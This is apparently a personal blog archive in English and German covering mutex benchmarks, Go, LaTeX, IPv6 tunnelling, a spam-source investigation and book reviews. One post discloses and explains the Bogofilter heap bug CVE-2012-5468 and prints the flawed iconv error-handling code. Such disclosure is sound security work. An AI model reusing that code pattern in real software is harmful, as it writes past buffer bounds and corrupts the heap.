4 threads: 3709510 hashes/s, total = 2.696s
8 threads: 3665865 hashes/s, total = 2.728s
12 threads: 3650451 hashes/s, total = 2.739s
24 threads: 3642619 hashes/s, total = 2.745s
$ ./speedtest-locked
1 threads: 2013590 hashes/s, total = 4.966s
2 threads: 857542 hashes/s, total = 11.661s
4 threads: 631336 hashes/s, total = 15.839s
8 threads: 932238 hashes/s, total = 10.727s
12 threads: 850431 hashes/s, total = 11.759s
24 threads: 802501 hashes/s, total = 12.461s
And on an Intel Xeon X5650 24 core machine:
$ ./speedtest-copied
1 threads: 1564546 hashes/s, total = 6.392s
2 threads: 1973912 hashes/s, total = 5.066s
4 threads: 3821067 hashes/s, total = 2.617s
8 threads: 5096136 hashes/s, total = 1.962s
12 threads: 5849133 hashes/s, total = 1.710s
24 threads: 7467990 hashes/s, total = 1.339s
$ ./speedtest-locked
1 threads: 1481025 hashes/s, total = 6.752s
2 threads: 701797 hashes/s, total = 14.249s
4 threads: 338231 hashes/s, total = 29.566s
8 threads: 318873 hashes/s, total = 31.360s
12 threads: 402054 hashes/s, total = 24.872s
24 threads: 304193 hashes/s, total = 32.874s
So, while the real computation times shrink when you don’t force a bottleneck – yes, it’s an embarrassingly parallel problem – the reverse happens if you force synchronization: All the mutex waiting slows the program so much down that you’d better only use one thread or else you lose.
Rule of thumb: If you don’t have a good argument for a multithreading application, simply don’t take the extra effort of implementing it in the first place.
In mid-2010 I found a heap corruption in Bogofilter which lead to the Security Advisory 2010-01, CVE-2010-2494 and a new release. – Some weeks ago I found another similar bug, so there’s a new Bogofilter release since yesterday, thanks to the maintainers. (Neither of the bugs have much potential for exploitation, for different reasons.)
I want to shed some light on the details about the new CVE-2012-5468 here: It’s a very subtle bug that rises from the error handling of the character set conversion library iconv.
The Bogofilter Security Advisory 2012-01 contains no real information about the source of the heap corruption. The full description in the advisory is this:
Julius Plenz figured out that bogofilter's/bogolexer's base64 could overwrite heap memory in the character set conversion in certain pathological cases of invalid base64 code that decodes to incomplete multibyte characters.
The problematic code doesn’t look problematic on first glance. Neither on
second glance. Take a look yourself.
The version here is redacted for brevity: Convert from inbuf
to
outbuf
, handling possible iconv-failures.
count = iconv(xd, (ICONV_CONST char **)&inbuf, &inbytesleft, &outbuf, &outbytesleft);
if (count == (size_t)(-1)) {
int err = errno;
switch (err) {
case EILSEQ: /* invalid multibyte sequence */
case EINVAL: /* incomplete multibyte sequence */
if (!replace_nonascii_characters)
*outbuf = *inbuf;
else
*outbuf = '?';
/* update counts and pointers */
inbytesleft -= 1;
outbytesleft -= 1;
inbuf += 1;
outbuf += 1;
break;
case E2BIG: /* output buffer has no more room */
/* TODO: Provide proper handling of E2BIG */
done = true;
break;
default:
break;
}
}
The iconv
API is simple and straightforward: You pass a handle
(which among other things contains the source and destination
character set; it is called xd
here), and two buffers and modifiable
integers for the input and output, respectively. (Usually, when
transcoding, the function reads one symbol from the source, converts
it to another character set, and then “drains” the input buffer by
decreasing inbytesleft
by the number of bytes that made up the
source symbol. Then, the output lenght is checked, and if the target
symbol fits, it is appended and the outbytesleft
integer is
decreased by how much space the symbol used.)
The API function returns -1
in case of an error.
The Bogofilter code contains a copy&paste of the error cases from the iconv(3)
man page. If you read the libiconv
source
carefully,
you’ll find that …
/* Case 2: not enough bytes available to detect anything */
errno = EINVAL;
comes before
/* Case 4: k bytes read, making up a wide character */
if (outleft == 0) {
cd->istate = last_istate;
errno = E2BIG;
...
}
So the “certain pathological cases” the SA talks about are met if a
substantially large chunk of data makes iconv
return -1, because
this chunk just happens to end in an invalid multibyte sequence.
But at that point you have no guarantee from the library that your
output buffer can take any more bytes. Appending that character or a
?
sign causes an out-ouf-bounds write. (This is really subtle. I
don’t blame anyone for not noticing this, although sanity checks – if
need be via assert(outbytesleft > 0)
– are always in order when
you do complicated modify-string-on-copy stuff.) Additionally,
outbytesleft
will be decreased to -1 and thus even an
outbytesleft == 0
will return false.
Once you know this, the fix is trivial. And if you dig deep enough in their SVN, there’s my original test to reproduce this.
How do you find bugs like this? – Not without an example message that makes Bogofilter crash reproducibly. In this case it was real mail with a big PDF file attachment sent via my university's mail server. Because Bogofilter would repeatedly crash trying to parse the message, at some point a Nagios check alerted us that one mail in the queue was delayed for more than an hour. So we made a copy of it to examine the bug more closely. A little Valgrinding later, and you know where to start your search for the out-of-bounds write.
Psst… He, Du! Bist Du auch auf der Suche nach einer Hausverwaltung, die sich einen Dreck um ihre Mieter kümmert? Nicht, dass es solche in Berlin nicht wie Sand am Meer gäbe … aber ich hätte da eine.
Ich weiß, über kaputte Heizungen bitchen ist bei noch über null Grad nachts nicht angebracht. Man kann ja immer noch warm duschen, wenn’s kalt ist. Leider funktionieren seit Donnerstag Nacht, also seit mittlerweile dreieinhalb Tagen, weder Heizung noch Warmwasser. Es ist mittlerweile auch wirklich kalt: Nach 10 Minuten Ringbahn-Fahren heute morgen – ich bin im Büro, auch wenn ich heute nicht arbeiten muss, einfach weil meine Finger zu Hause so kalt sind, dass ich nicht mehr vernünftig tippen kann – nach 10 Minuten in des S-Bahn war mir so warm wie seit zwei Tagen nicht mehr.
Der Hauswart ist wohl in im Urlaub in der Türkei. Angeblich kamen Freitags noch Heizungsmechaniker, die gesagt hätten, alles sei okay. Ein montagmorgentlicher Anruf bei der Hausverwaltung ergibt, dass sie wohl im Glauben waren, alles sei heile – wohl, weil sich kein Mieter gemeldet hätte. Was für eine irrige Annahme, dass sich Mieter melden würden, dass die Heizung immer noch nicht tut, ohne dass sie wissen, dass etwas passiert ist. Und um sowas zu prüfen, hat man einen Hauswart. Oder man ruft die Mieter an. Wie schwer kann’s sein.
Ich glaube aber, dass das kein Missverständnis, sondern Kalkulation. Und wir als Mieter haben uns da ganz simpel verarschen lassen: Zunächst mal sind wir an die Hausverwaltung gebunden, die aber nicht an uns. Bei so rasant steigenden Mieten ist die Hausverwaltung natürlich froh über jeden Mieter, der auszieht. Selbt die Kosten für einen Monat Leerstand wären innerhalb von weniger als einem halben Jahr wieder drin.
Die einzige Möglichkeit, die Hausverwaltung unter Druck zu setzen ist, eine Mietminderung vorzunehmen. (Man muss sich allerdings bewusst sein, dass auch das Probleme nach sich ziehen kann.)
Eine kleine Rechnung, ohne genaue Daten zu kennen: Bei 10 Parteien, die im Schnitt 800 Euro warm zahlen, beliefe sich eine Mietminderung von 100% für fünf Tage auf 5/30 * 10 * 800 ≈ 1.333 Euro. Davon könnte man zwei Heizungstechnikern sechs Stunden lang einen Notfall- und/oder Wochenendzuschlag von 100 Euro pro Techniker pro Stunde zahlen, und es wäre pronto-pronto erledigt.
Wie es aber gelaufen ist: Vermutlich hat niemand noch am Freitag per Einschreiben eine Mietminderung angedroht, erst recht nicht alle 10 Parteien gesammelt. (Ich kann das nicht machen, weil ich nicht mal Hauptmieter bin.) Aus purem Kalkül ist es für die Hausverwaltung also günstiger, die Heizung nicht zeitig reparieren zu lassen. Hah, man muss ja nicht mal für die Heizkosten zahlen in den paar Tagen!
„Wir hoffen, dass morgen oder übermorgen wieder alles in Ordnung ist.“ – Fuck you.
Update: Seit Donnerstag Abend, also am siebten Tag nach dem Ausfall, geht alles wieder.
I’ve been experimenting with the Go Programming Language for the past few days. (Thanks to Jürgen, who held two introduction sessions at work.) I have not dived very deeply into the language, but already I feel it suits me pretty well.
Go is a really clean and simple, yet powerful language. Here’s what I like so far:
Go is statically typed – I believe this catches a lot of the obvious coding errors you make in your day-to-day scripting language.
Variables are declared with :=
. As a mathematician, I like this
very much, and it’ll give you errors if you re-declare the same
variable twice.
C without the cruft and overhead – There are real string
types.
You can concatenate them on the fly. Most objects can be
stringified. For example, printing a struct with
fmt.Printf("s = %#v", s)
will print the struct in key: value
format, in turn stringifying the elements. This makes for easy
debugging.
Slices (somewhat like arrays, but really much more useful) can be
grown dynamically: sl = append(sl, args...)
– no more checking and
perhaps re-allocating space for new objects. No more for-loops over
every element: Simply range
over it.
You are allowed, even encouraged, to return to the caller variables
that were initialized on the stack. No more return xstrdup(errmsg);
.
Oh, and of course: Garbage Collection.
Clean syntax and a strict compiler – Often I have to wade through really bad C code, cursing about mixed tabs, spaces, indentations. Compilation is only possible with tons of warnings.
Not so with Go. The language is a lot like C, but the compiler is strict: You include an unnecessary package? Compilation error. You have an unused variable? Compilation error. You make a computation without assigning (storing) the return value? Compilation error.
What about tabs vs. spaces? Spaces around + signs? Before
parentheses? Alignment of struct fields? – There’s a definite
answer, and
it's called gofmt
.
To re-format all Go files, simply use gofmt -w .
. I have installed
a simple Git hook to alert me whenever I’m about to commit code
not in accordance with the style guide:
#!/bin/sh
validgo() {
d="$(git show :"$1" | gofmt -d)"
[ -z "$d" ] && return 0
echo "$d"
echo
echo "File $1 contains improper Go syntax;"
echo "please fix with 'gofmt -w $1' before committing!"
return 1
}
git diff --cached --check || exit 1
git diff-index --name-only --diff-filter=ACM HEAD | while read f; do
if [ "${f##*.}" = "go" ]; then
validgo "$f" || exit 1 # exit in subshell!
fi
done || exit 1 # make the hook fail
Easy-to-use concurrency handling – If you’ve ever tried to write a simple multithreaded C application with multiple workers and a master aggregating the workers’ results, you’ll find that’s really painful. In Go, it feels really natural.
You start off goroutines (‘lightweight threads’) with the go
keyword, which is almost like the binary &
pattern in your
average shell: The goroutine is dispatched, and the caller proceeds
without waiting for it to return.
These routines (or any other parts of your program, for that matter) should communicate solely using channels. (Read more about them here.) They are a lot like UNIX sockets: You can put stuff in them, and it comes out at the other end; they have a certain buffer size: writing blocks if that’s full, reading if it’s empty; you can close them.
You don’t have to use channels to send data; you can also use them
to synchronize events. For exaple, if you dispatch a goroutine,
you’re unable to tell when it has finished. But if you want to wait
for it to finish, you could use a channel with a buffer size of 0
(i.e. reading from it will block until someone is writing to it).
Call this channel done
and pass it to the goroutine (for example
as a paramater). From the caller’s perspective, you just wait for
something in that channel: <-done
. Once the goroutine is finished,
it’ll write some arbitrary data to that channel. If the channel is
of type chan bool
, then done <- true
will make the caller
unblock, receive the value und continue with code execution.
One thing I didn’t get at first was the close
/range
idiom: If
there’s a finite amount of data that you want to sequentially read
and handle, stopping when there’s no more data left, you can use
this idiom: A function that returns a channel where a goroutine will
write results, eventually closing the channel and thus signalling the
range
operator that this was the last result.
func compute(...) (chan T) {
c := make(chan T)
go func() {
defer close(c)
...
}()
return c
}
c := compute(...)
for res := range c {
// do something with res
}
Nice and intuitive code flow – Apart from spawning goroutines
easily, there are some really simple things that make life easier.
Namely, defer
statements and multiple return values.
You can declare functions to be called when the function returns
(like closing channel c in the above example). This eliminates the
usual C pattern where you have a label finish
with lots of
if(fd != -1) close(fd);
cases. In Go, you rather write:
f, err := os.Open(fn)
defer f.Close()
No matter where you actually throw in your return
, you are
guaranteed to have the file closed properly after the function has
returned.
Also, you can return multiple values. But you don’t have to
explicitly list them to return them. If you name them during
function declaration: func fn(...) (a, b, c int) { ... }
– then
just say return
to return the current values of a, b und c.
I have not really fully grasped the importance of interfaces, but I guess I’ll come to that in a few days.
So far, there’s one thing I don’t like: The error checking idiom
result, err := function(...)
if err != nil {
// handle error
}
It’s not the multi-value return… I find that much better than the
usual try-catch-blocks. (Quote Rob Pike: “errors are not
exceptional!”) It’s just that I’d like to check for an error, not if
the error is not nothing. From a logician’s point of view it’s the
same. But I believe if you could somehow write if err { ... }
the
code would be so much more readable. Why can’t nil
be cast to the
Bool type false
?
–
Go is really easy to start with. It took me all of one hour to do a simple client-server-application than can pass a Go struct using net/rpc.
But I am not really sure yet how well Go scales. That is, how much
parallelisation is actually good. I did a little coding exercise: On
my system, grep
is CPU-bound when the relevant files are in the disk
cache. So I thought, maybe I can simply create a multithreaded grep in
Go.
I have a simple version (simple as
in: it emulates fgrep -IR
) that uses one goroutine for every file.
The workers themselves are sent over a channel (a “channel of
channels”) so that the order of output files resembles the order of
files checked.
However, my grep is an order of magnitude slower than the real grep. I tried using the profiler, but I haven’t gotten any meaningful results out of it. If you have a clue to that problem, please write me an e-mail!
In den aktuellen Bestsellerlisten findet sich momentan fast überall Jonas Jonassons Der Hundertjährige, der aus dem Fenster stieg und verschwand. Mit gutem Grund: Das Buch lässt sich locker-leicht lesen und eignet sich bestens als Ferienlektüre. Ähnlich leicht und anekdotisch kommen Charles Bukowskys Notes of a dirty old man daher: Immer gut für einen Lacher. Den Klassiker Catch-22 von Joseph Heller habe ich 150 Seiten angelesen, konnte aber irgendwie nichts damit anfangen. Die neuerliche Lektüre von Aldous Huxleys Brave New World war unterhaltsam. (Siehe auch diesen treffenden Webcomic, der die Dystopien von Orwell und Huxley vergleicht.)
In meinen Augen extrem wichtig ist David Graebers Buch Debt / The First 5000 Years. Allseits hochgelobt, hat mir das Buch eine Art der historischen Analyse gezeigt, die ich bisher nicht kannte. Spannend, unterhaltsam aber unglaublich gehaltvoll und detailreich zugleich – das Buch muss man gelesen haben, alleine schon des Einstiegskapitels wegen, The Myth of Barter (dt.: Der Mythos des Tauschhandels). Intellektuell schockiert war ich von der anscheinend gut belegten Tatsache, die sich zusammenfassen lässt als:
His [Llewellyn-Jones] study covers the entirety of the ancient Greek world and argues that veiling was routine for women of varying social strata, especially when they appeared in public or before unrelated males.
In den Worten Graebers (Debt, p. 188):
As much as it flies in the face of our stereotypes about the origins of “Western” freedoms, women in democratic Athens, unlike those in Persia or Syria, were expected to wear veils when they ventured in public.
Das habe ich im Latein- und Geschichtsunterricht nie gehört. Im Gegenteil, die Frauen wurden in den Büchern immer als fortschrittlich, demokratisch und relativ emanzipiert dargestellt. – Definitiv ein Buch, dass ich in näherer Zukunft nochmal lesen werde.
Für das Verständnis moderner Konflikte ist auch A game as old as Empire sehr hilfreich. Als „Nachfolger“ von Economic Hitmen präsentiert Hiatt Menschen, die in ganz unterschiedlichen Kontexten und mit ganz unterschiedlichen Motivationen in Branchen arbeiten, die im Endeffekt darauf abzielen, die Wirtschaft von Ländern anzugreifen: Seien es Offshore-Banker, für amerikanische Ölfirmen in Nigeria arbeitende Söldner oder Berater und Analysten der Weltbank oder des IMF.
Ich habe auch wieder ein bisschen mehr SciFi gelesen: Angefangen mit dem Klassiker Snow Crash von Neal Stephenson, den ich allerdings nur mäßig beeindruckend fand. Viel mehr gefallen hat mir da Fear Index von Robert Harris, das sich mit autonomen Börsenhandelssystemen befasst, die plötzlich ein hazardöses Verhalten an den Tag legen; außerdem habe ich das erste Mal etwas von Cory Doctorow gelesen: For the Win, ein in China, Indien (Dharavi), Singapur und den USA spielendes Buch, das wunderbar zu Graebers Buch passt, denn dort geht es um virtuelle Spielgüter, die aber in der realen Welt Wert besitzen (als ob das verwundern würde) – und plötzlich organisieren sich die Goldfarmer und bilden eine Art internationaler Gewerkschaft. Unterhaltsam und lehrreich. Das Highlight zum Schluss: Der neue Suarez, Kill Decision, ist wirklich super. (Mehr Hintergrundinfos.)
Anfangs begeistert war ich von Haruki Murakamis Buch 1Q84. Alleine die Ausgabe, die anscheinend noch nicht überall verfügbar ist, ist absolut gelungen: Die Seitenzahlen sind immer auf unterschiedlicher Höhe und in der Hälfte der Fälle gespiegelt; und interessanterweise ist der Satzspiegel der jeweils rechten Seite genau um eine Zeile nach unten verschoben. (Warum, konnte ich nicht herausfinden, aber ich gehe davon aus, dass es Absicht ist.) Den ersten Teil habe ich mit Begeisterung gelesen. Nach ca. 500 Seiten wurde es dann erst langweilig, und auf Seite 900 habe ich beschlossen, die restlichen 200 Seiten nicht mehr zu lesen, so langweilig, schwerfällig und belanglos sind die Erläuterungen. Der Klappentext verspricht “A love story, a mystery, a fantasy, a novel of self-discovery, a dystopia to rival George Orwell’s” – Aber insgesamt ist die Dystopie, die ich gerne gesehen hätte fast nicht vorhanden, und zu viel Handlung verliert sich in mystischen Erklärungsansätzen. Schade, denn aus der Geschichte hätte man wirklich etwas machen können.
Gerade eben bin ich mit dem neuen Buch von Irvin D. Yalom fertig geworden: Das Spinoza-Problem bedient sich des Erfolgsrezeptes „historische Persönlichkeit psychoanalytisch in Romanform dargestellt“, ist aber in meinen Augen nicht so gelungen wie die beiden Vorgänger über Nietzsche und Schopenhauer. Sowohl Spinoza als auch Rosenberg sind interessante Charaktere und werden gut dargestellt. Insgesamt aber wirken die Dialoge zu durchkonstruiert, zu wenig echt. Vielleicht hätte es ein Briefwechselroman werden sollen.
Today I finally had time to update my Résumé. So I imported an old version in a new Git repo and set out to do it right once and for all:
I settled for moderncv
(see the ‘examples’ subdirectory for some nice examples). It’ll
automatically create the headers, align all the CV items — and does a
pretty good job at providing a simple yet good-looking and versatile
\cventry
command.
I’m now keeping a single cv.tex
file that will get processed
differently according to which file I want to compile. The Makefile
looks like this:
DEFAULT: cv-en.pdf cv-de.pdf
cv-en.pdf: cv.tex
pdflatex -jobname cv-en cv
cv-de.pdf: cv.tex
pdflatex -jobname cv-de cv
The -jobname
argument will influence where the output file will be
saved. Also, it is available from within the LaTeX document as such:
\usepackage{etoolbox}
\usepackage{ifthen}
\newtoggle{de}
\newcommand{\de}[2]{\iftoggle{de}{#1}{#2}}
\ifthenelse{\equal{\detokenize{cv-de}}{\jobname}}{
\toggletrue{de}
}{
\togglefalse{de}
}
So if the job name is cv-de
, then the de
toggle will be true. With
the little \de
helper function, I can now use something like
\title{\de{Lebenslauf}{Résumé}}
or
\cvlistdoubleitem{
\de{Deutsch (Muttersprache)}
{German (native speaker)}
}{
\de{Englisch (fließend)}
{English (fluent)}
}
throughout the document. A simple distrib
rule that contains a
scp
command to upload the PDFs to a website, and I’m done for today.
Oh, by the way: If you know a company in the Dubai or Abu Dhabi region that might be interested in giving me a two-month internship opportunity — please contact me! CV available on request ;-)
Lust darauf zu hören, was ich so zu sagen habe? Ich bin diesen Monat auf zwei Veranstaltungen in Hamburg zu Gast: Zunächst morgen bei einer Podiumsdiskussion im Kultwerk West zum Thema: Theater-Abos für IT-Spezialisten? Joachim Lux, Shahab Din und Julius Plenz über Kultur und Nerds und Lux’ Verständnis von Menschsein.
Und wie jedes Jahr bin ich in zwei Wochen auch auf dem Software Freedom Day vertreten, dies Mal mit einem Vortrag zu Bufferbloat und einem kleinen Einsteiger-Git-Workshop. Vielversprechenderweise gibt es dieses Jahr zwei Vortragstracks parallel in neuen Räumlichkeiten. Ich freu mich!
Sooo... I'm finally part of the IPv6 world now, and so is this blog. I've been meaning to do this for a long time now, but ... you know. – I ran into some traps – partly my own fault – so I might just share it for others, too.
First of all, and this got me several times, when testing loosen up
your iptables settings. That especially means setting the right
policies in ip6tables
: ip6tables -P INPUT ACCEPT
. (I had set the
default policy to DROP
before automatically at interface-up time.
It's better safe than sorry. Do you know what services listen on ::
by default?)
I started out using a simple
Teredo tunnel, which
worked well enough. See Bart's article
ipv6 on your desktop in 2
steps. The default
gai.conf
, used by the glibc to resolve hosts, will still prefer IPv4
addresses over IPv6 if your only access is a Teredo tunnel. You can
change this by commenting out the default label
policies in
/etc/gai.conf
, except for the #label 2001:0::/32 7
line. (See
here
for example. The blog post advises to reboot or wait 15 minutes, but
for me it was enough to re-start my browser / newsreader / ...)
So I set up IPv6 on my server. This was rather easy because Hetzner provides native v6. The real work is just re-creating the iptables rules, adding new AAAA records for DNS. Strike that: The real work is teaching all your small tools to accept IPv6-formatted addresses. (Great efforts are underway to modernize many programs. But especially your odd Perl script will simply choke on the new log files. :-P)
I am still not sure how I should use all these addresses. For now I
enabled one "main" IP for the server, 2a01:4f8:150:4022::2
. Then I
have one for plenz.com and one for the blog,
ending in leet-speak "blog": 2a01:4f8:150:4022::b109
– Is it
useful to enable one ip for every subdomain and service? It sure seems
nice, but also a big administrative burden...
Living with the Teredo tunnel for some hours, I wanted to do it "the right way", i.e. enabling IPv6 tunneling on my router. Over at HE's Tunnelbroker you'll get your free tunnel, suitable for connecting your home network.
I'm still using an old OpenWRT WhiteRussian setup with 2.4 kernel, but everything works surprisingly well, once I figured out how to do it properly. HE conveniently provides commands to set up the tunnel; however, setting up the tunnel creates a default route that routes packets destined to your prefix across the tunnel. (I don't know why this is the case.) Thus, after establishing the tunnel, I'm doing:
# send traffic destined to my prefix via the LAN bridge br0
ip route del <prefix>::/64 dev he-ipv6
ip route add <prefix>::/64 dev br0
Second, I want to automatically update my IPv6 tunnel endpoint
address. HE conveniently provides and IPv4 interface for that. Simply
md5-hash your password via echo -n PASS | md5sum
, find out your user
name hash from the login start page (apparently not the md5 hash of
your username :-P) and your tunnel ID. My script looks like this:
root@ndogo:~# cat /etc/ppp/ip-up.d/he-tunnel
#!/bin/sh
set -x
my_ip="$(ip addr show dev ppp0 | grep ' inet ' | awk '{print $2}')"
wget -O /dev/null "http://ipv4.tunnelbroker.net/ipv4_end.php?ipv4b=$my_ip&pass=PWHASH&user_id=UHASH&tunnel_id=TID"
ip tunnel del he-ipv6
ip tunnel add he-ipv6 mode sit remote 216.66.86.114 local $my_ip ttl 255
# watch the MTU!
ip link set dev he-ipv6 mtu 1280
ip link set he-ipv6 up
ip addr add <prefix>::2/64 dev he-ipv6
ip route add ::/0 dev he-ipv6 mtu 1280
# fix up the routes
ip route del <prefix>::/64 dev he-ipv6
ip route add <prefix>::/64 dev br0 2>/dev/null
Side note: Don't think that scripts under /etc/ppp/ip-up.d
would get
executed automaically when the interface comes up. Use something like
this instead:
root@ndogo:~# cat /etc/hotplug.d/iface/20-ipv6
#!/bin/sh
[ "${ACTION:-ifup}" = "ifup" ] && /etc/ppp/ip-up.d/he-tunnel
The connection seemed to work nicely at first. At least, all Google
searches were using IPv6 and were fast at that. However, oftentimes (in
about 80% of cases) establishing a connection via IPv6 was not
working. Pings (and thus traceroutes) showed no network outage or
other delays along the way. However, tcpdump
showed wrong checksums
for a lot of TCP packets.
Only today I got an idea why this might be: wrong MTU. So I set the
MTU to 1280 in the HE web interface and on the router, too: ip link
set dev he-ipv6 mtu 1280
. Suddenly, all connections work perfectly.
I've been toying around with the privacy extensions, too, but I don't know how to enable the mode "one IP per new service provider". There's some information about the PEs here but for now I have disabled them.
My flatmate's Windows computer and iPhone picked up IPv6 without further configuration.
I'm actually astonished how many web sites are IPv6 ready. So far I like what I'm seeing.
Update: While setting up an AAAA record for the blog, I forgot it had been a wildcard CNAME previously. The blog was not reachable via IPv4 for a day – that was not intended! ;-)
Verschiedene Texte, die ich heute las und für sehr lesenswert halte:
Der Artikel Global Warming's Terrifying New Math von Bill McKibben verknüpft neue Zahlen zum Thema Klimawandel mit der Einsicht, dass wir es aller Voraussicht nach nicht schaffen werden, das Problem unter Kontrolle zu bekommen – es ist einfach zu lukrativ, jetzt weiter Öl zu verbrennen:
The Third Number: 2,795 Gigatons. This number is the scariest of all – one that, for the first time, meshes the political and scientific dimensions of our dilemma. ... The number describes the amount of carbon already contained in the proven coal and oil and gas reserves of the fossil-fuel companies, and the countries (think Venezuela or Kuwait) that act like fossil-fuel companies. In short, it's the fossil fuel we're currently planning to burn. And the key point is that this new number – 2,795 – is higher than 565 [the maximum number of gigatons the climate can abosrb without rising beyond 2 degress celsius]. Five times higher.
The top 10 tricks of Perl one-liners.
awk
braucht man schließlich nicht wirklich.
Kategorientheorie in Scala und in Haskell.
A week ago our server was listed as sending out spam by the CBL, which is part of the XBL which in turn is part of the widely-used Spamhaus ZEN block list. As a practical result, we couldn't send out mail to GMX or Hotmail any more:
<someone@gmx.de>: host mx0.gmx.net[213.165.64.100] said:
550-5.7.1 {mx048} The IP address of the server you are using to connect to GMX is listed in
550-5.7.1 the XBL Blocking List (CBL + NJABL). 550-5.7.1 For additional information, please visit
550-5.7.1 http://www.spamhaus.org/query/bl?ip=176.9.34.52 and
550 5.7.1 ( http://portal.gmx.net/serverrules ) (in reply to RCPT TO command)
The first source we identified was a postfix alias forwarding to a virtual alias domain; however, I had deleted the user in the latter table, such that postfix would return a "user unknown in virtual alias table" error to the sender. But because the sender was localhost, postfix would create a bounce mail. (This is known as Backscatter.)
But one day later, our IP was listed in CBL again. So I started digging deeper. How do you identify who is sending out spam? There are some obvious points to start:
To get a clearer image of what was really happening, I did two things. First, I implemented a very simple "who is doing SMTP" log mechanism using iptables. It went like this:
$ cut -d: -f1 /etc/passwd | while read user; do
echo iptables -A POSTROUTING -p tcp --dport 25 -m owner --uid-owner $user -j LOG --log-prefix \"$user tried SMTP: \" --log-level 6;
done
iptables -A POSTROUTING -p tcp --dport 25 -m owner --uid-owner root -j LOG --log-prefix "root tried SMTP: " --log-level 6
iptables -A POSTROUTING -p tcp --dport 25 -m owner --uid-owner feh -j LOG --log-prefix "feh tried SMTP: " --log-level 6
...
(To be honest I used a Vim macro to make the list of rules, but that's hard to write down in a blog post.)
Second, I NAT'ed all users except for postfix to a different IP address:
$ iptables -A POSTROUTING -p tcp --dport 25 -m owner ! --uid-owner
postfix -j SNAT --to-source 176.9.247.94
Then, I dumped the SMTP-related TCP flows for that IP address:
$ tcpflow -c 'host 176.9.247.94 and (dst port 25 or src port 25)'
I waited for a short time, and soon another wave of spam was sent out. Now I could clearly identify the user:
Jul 19 16:48:35 noam kernel: [5590933.619960] pete tried SMTP: IN= OUT=eth0 SRC=176.9.34.52 DST=65.55.92.184 ...
Jul 19 16:48:38 noam kernel: [5590936.616860] pete tried SMTP: IN= OUT=eth0 SRC=176.9.34.52 DST=65.55.92.184 ...
Jul 19 16:48:44 noam kernel: [5590942.615608] pete tried SMTP: IN= OUT=eth0 SRC=176.9.34.52 DST=65.55.92.184 ...
But instead of finding an infected web app, I found that the user was
logged in via SSH and was executing sleep 3600
commands. When I
killed the SSH session, the spamming stopped immediately.
Since this was not a user I know personally, I don't know what happened. My best guess is an infected Windows computer and an SSH SOCKS forwarding setup that allowed the (romanian) spammer to tunnel its connections.
One question remains: Are modern spam-drones able to steal WinSCP/PuTTY login credentials from the Registry and use them to silently set up SSH tunnels? Or was this just a case of bad luck?
Im Sudan hatte ich viel Zeit und Muße, und habe den absoluten Klassiker, die Illuminatus Trilogy von Rober Shea & Robert Anton Wilson gelesen – zum mittlerweile dritten Mal. Ich lese eigentlich Romane generell nur einmal, aber dieses Buch ist anders als jedes andere Fiktionswerk, dass ich sonst kenne: Wild springend in Raum, Zeit, Person und Erzählstil lässt es einen im einen Moment laut auflachen, im nächsten aber in angestrengtes Nachdenken verfallen. Ich zähle es nach wie vor zu meinen absoluten Lieblingsbüchern. – In Cairo gab es nur wenig englische Literatur zu kaufen, daher musste ein Klassiker her: Charles Dickens' Oliver Twist ist eine ganz nette Geschichte, die ich aber nach zwei Dritteln dann auch gar nicht so zwingend zu Ende lesen musste und es daher gelassen habe.
Der neue 1000-Seiten-Wälzer von Neal Stephenson, REAMDE, ist, obwohl er spannend ist, leider mit 300 Seiten zu lang geraten. Die anfängliche Geschichte – das MMORPG T'Rain, das die Chinesen anzieht, könnte tatsächlich in ein paar Jahren Wirklichkeit werden – ist sehr gut gelungen, besonders die Charaktäre Dodge und Sokolov. Aber in etwa ab dem Abflug aus Manila und dem Moment, in dem Olivia Sokolov "rettet", ufert die Geschichte leider aus. Zu viele Unwahrscheinlichkeiten, zuviel doppelt erzählte Szenen aus verschiedenen Blickwinkeln – der Showdown hätte gut in einer Stadt stattfinden können und nur 70 Seiten brauchen müssen. – Und: Ohne zu wissen, warum, fühlt sich das dauernde Wikipedia/Twitter/Facebook-Namedropping nach dem dritten Mal ziemlich gezwungen an und trägt nichts zur Geschichte bei. Die Interaktion mit Computern und das "Hacking" wird allerdings meist ziemlich realitätsnah dargestellt, was man bei Stephenson aber auch erwarten darf.
Einen weiteren Klassiker von Bret Easton Ellis habe ich mit American Psycho gelesen. Der Film ist natürlich sehr bekannt, aber das Buch gibt auch eine gute Vorlage ab: Eine kranke Welt, in der es normalerweise nur um Reservierungen in Edelrestaurants geht, ab und zu aber auch um Alkohol, Visitenkarten oder eben den Mord an einem Obdachlosen oder einer Hure.
En passant habe ich dann noch Schrecklich amüsant, aber in Zukunft ohne mich von David Foster Wallace gelesen, was gar nicht so schrecklich amüsant war, aber doch nett. Wenn man gerne Menschen beobachtet und über ihre Intentionen und Hintergründe philosophiert, dann findet man hier einen Gleichgesinnten.
Insgesamt drei der kürzeren Bücher von Noam Chomsky habe ich gelesen. Die Piper-Ausgabe Profit over People / War against People scheint ein Klasiker unter den deutschen Chomsky-Übersetzungen dazustellen. Die beiden 1999 geschriebenen, eher kurzen und überraschend bissigen Bücher behandeln im Wesentlichen den Neoliberalismus, der "der erste und unmittelbare Feind wirklicher Demokratie ist ... [woran] sich auf absehbare Zeit auch nichts ändern [wird]" (aus der Einleitung von McChesney). – Die großen Themen sind bekannt, besonders im Vordergrund stehen Nicaragua und Kuba. Das Gesamtbild sowie die beschriebenen Fälle finden sich großteils schon in Year 501: The Conquest Continues; doch hat Chomsky in diesen beiden Büchern einige wirklich schlagkräftige und unintentionell realitätsnahe Zitate zu seinem Steckenpferd erkoren und wird nicht müde, sie ständig zu wiederholen. Und auch noch ein Jahrzehnt später, besonders in Bezug auf die Finanzkrise, ist das Schlusswort absolut richtig:
Die sozioökonomische Ordnung, die jetzt von oben verfügt wird, ist das Ergebnis der Entscheidung von Menschen, die in von Menschen gesschaffenen Institutionen wirken. Die Entscheidungen können widerrufen, die Institutionen verändert werden. Sollte es sich als notwendig erweisen, können sie zerschlagen und ersetzt werden. Das haben aufrechte und mutige Menschen im Laufe der Geschichte immer wieder vollbracht. [S. 150, WaP]
Von wegen als: TINA (there is no alternative) – oder, wie man zu Neudeutsch sagt: alternativlos.
